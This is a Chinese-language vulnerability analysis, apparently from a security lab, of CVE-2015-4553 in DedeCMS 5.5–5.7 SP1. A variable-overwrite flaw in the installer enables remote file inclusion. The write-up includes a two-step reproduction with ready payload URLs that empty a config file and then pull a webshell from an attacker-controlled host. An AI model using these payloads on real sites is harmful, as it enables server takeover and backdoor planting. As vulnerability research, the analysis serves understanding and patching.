KYLID:KYL20150614-1
一、漏洞信息
漏洞简介
织梦CMS是集简单、健壮、灵活、开源几大特点的开源内容管理系统。 2017年其官方宣称其程序安装量已达七十万,超过六成的站点正在使用织梦CMS或基于织梦CMS核心开发。 在2014年发布的DedeCMS-V5.7-SP1版本,位于“/install/index.php(index.php.bak)”文件中存在变量覆盖与远程文件包含组合漏洞。
漏洞详细信息
NG架构类型 | 应用 |
---|---|
漏洞对象名称 | DedeCMS |
漏洞对象版本 | 5.5 – 5.7 SP1 |
漏洞对象应用场景 | 服务端 |
漏洞目录 | 代码错误 |
漏洞标签 | 变量覆盖, 远程文件包含 |
漏洞影响 | 代码执行 |
漏洞等级 | 高 |
CVE编号 | CVE-2015-4553 |
CVSS评分向量 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:F/RL:O/RC:C |
CVSS Base评分 | 9.4 |
CVSS 时间评分 | 8.7 |
漏洞危害
攻击者可通过此漏洞
- 重定义数据库连接。
- 直接写入webshell后门
进而获取到网站甚至服务器的管理权限。
厂商建议
参考: http://www.dedecms.com/pl/
漏洞备注
当搭建漏洞环境,安装dedecms时出现如下报错:
DedeCMS Error: (PHP 5.3 and above) Please set ‘request_order’ ini value to i
可在include/common.inc.php
文件将对应代码注释:
/* if(version_compare(PHP_VERSION, '5.3.0', '>')) { if(strtoupper(ini_get('request_order')) == 'GP') exit('DedeCMS Error: (PHP 5.3 and above) Please set \'request_order\' ini value to include C,G and P (recommended: \'CGP\') in php.ini,<a href="http://help.dedecms.com/install-use/apply/2013/0715/2325.html" target="_blank">more...</a>'); } */
二、漏洞原理
漏洞位置
问题程序文件 | /include/common.inc.php |
---|---|
问题函数或方法 | $step==11 |
问题参数 | updateHost、s_lang、install_demo_name、insLockfile |
问题数据对象 | 无 |
技术机制
Dedecms安装基本都在install/index.php
进行,安装完成后dedecms并没有自动删除install文件夹,而是选择通过在install文件夹中生成install_lock.txt
来控制安装:
// KylinLab: 此处定义安装锁文件 $insLockfile = dirname(__FILE__).'/install_lock.txt'; [... 省略部分代码以便阅读 ...] require_once(DEDEINC.'/common.func.php'); // KylinLab: 判断是否已经安装 if(file_exists($insLockfile)) { exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!"); }
安装程序开始运行时,Dedecms首先通过遍历请求来获取到安装过程中不同步骤的参数数据:
foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); }
如
http://xx.xx.xx.xx/install/index.php.bak?step=11&s_lang=utf-8
此处的$$
则是本次漏洞的关键位置。
其原本作用是将GET、POST、COOKIE三处传入的数据以键值对形式获取,如URL中输入?str=kylin,则$_k的值就是str,$_v的值就是Kylin, 那么${$_k}的值就是$str,也就导致变量覆盖
本次漏洞因$$
引起的变量覆盖而引发install/index.php
文件中远程读取数据和写文件相关的$updateHost
、$s_lang
、$install_demo_name
、$insLockfile
参数可控:
else if($step==11) { require_once('../data/admin/config_update.php'); $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); }
攻击者可通过结合着两个漏洞,向网站写入Webshell后门。
但由于install/index.php
第369行包含了../data/admin/config_update.php
更新(体验包)配置地址文件:
require_once('../data/admin/config_update.php');
../data/admin/config_update.php
文件则定义$updateHost
为:
http://updatenew.dedecms.com/base-v57/
恰巧控制$updateHost,这就导致了就算前面可以通过变量覆盖这个变量,新包含变量同样再次覆盖我们修改好的$updateHost的值。变化流程为:外部可控的$updateHost=》dedecms自身控制的$updateHost。
那么有什么办法可以$updateHost变量绝对可控呢?
有两种思路,第一种是只覆盖../data/admin/config_update.php
文件中的$updateHost
变量值;第二种则将../data/admin/config_update.php
文件内容清空。 第一种思路不可行,只能选择第二种,第二种则可以让程序请求一个不存在的dedecms官方体验包数据的地址。 已存在体验包的可参考:
http://updatenew.dedecms.com/base-v57/dedecms/
代码走读
在install/index.php
代码19-39行存在变量覆盖:
$insLockfile = dirname(__FILE__).'/install_lock.txt'; $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc'; define('DEDEINC',dirname(__FILE__).'/../include'); define('DEDEDATA',dirname(__FILE__).'/../data'); define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__))); header("Content-Type: text/html; charset={$s_lang}"); require_once(DEDEROOT.'/install/install.inc.php'); require_once(DEDEINC.'/zip.class.php'); //KylinLab: 变量覆盖 foreach(Array('_GET','_POST','_COOKIE') as $_request) { foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v); } require_once(DEDEINC.'/common.func.php'); if(file_exists($insLockfile)) { exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!"); }
其中RunMagicQuotes函数则对参数值中的特殊字符进行转义处理,具体函数定义可在/include/commom.inc.php看到:
function _RunMagicQuotes(&$svar) { if(!get_magic_quotes_gpc()) { if( is_array($svar) ) { foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v); } else { if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#',$svar) ) { exit('Request var not allow!'); } $svar = addslashes($svar); } } return $svar; }
addslashes函数可以参考:
https://www.php.net/manual/zh/function.addslashes.php
跟进/install/index.php
(安装好dedecms则变为index.php.bak)代码文件367-381行,由变量覆盖引发的远程文件包含:
else if($step==11) { // KylinLab: 加载含体验包地址的配置文件 require_once('../data/admin/config_update.php'); // KylinLab: 体验包地址,utf-8编码的默认为:http://updatenew.dedecms.com/base-v57/dedecms/demodata.utf-8.txt $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt"; // KylinLab: 读取体验包地址数据,并向$install_demo_name文件写入体验数据 $sql_content = file_get_contents($rmurl); $fp = fopen($install_demo_name,'w'); // KylinLab: 写入体验包数据到本地成功时 if(fwrite($fp,$sql_content)) echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)'; else echo ' <font color="red">[×]</font> 远程获取失败'; unset($sql_content); fclose($fp); exit(); }
触发利用条件
- 攻击者先向漏洞服务器发送一个包含精心构造的可清空
../data/admin/config_update.php
体验包配置文件内容的HTTP请求。 - 攻击者再向漏洞服务器发送一个可远程包含获取Webshell的HTTP请求,当受漏洞影响的软件处理请求时,则触发漏该漏洞。
攻击复现
需要Getshell的情况下需要两步:
1.清空配置文件../data/admin/config_update.php` 2.利用变量覆盖进行远程包含Getshell
1、 清空配置文件../data/admin/config_update.php
查看php的资料可以file_get_contents函数定义,对于传入参数为URL时,只有URL的响应状态码为200且响应内容非空时,才返回对应页面数据,否则返回false,对应字符串为空字符。 由此可构造攻击Payload:
?step=11&insLockfile=a&s_lang=a&install_demo_name=../data/admin/config_update.php
效果: 图为攻击前后文件大小对比。
2、 利用变量覆盖进行远程包含Getshell
因为远程读取URL为:
$rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
则需要在攻击者的可以在攻击者服务器建立dedecms/demodata. {$s_lang}.txt文件: 则第二次攻击payload可为:
?step=11&insLockfile=a&s_lang=a&install_demo_name=shell.php&updateHost=http://x.x.x.x/
效果: 另外可以思考下:是不是仅仅可以通过get方式利用?
来源:freebuf.com 2019-06-15 09:37:24 by: 麒麟安全实验室
请登录后发表评论
注册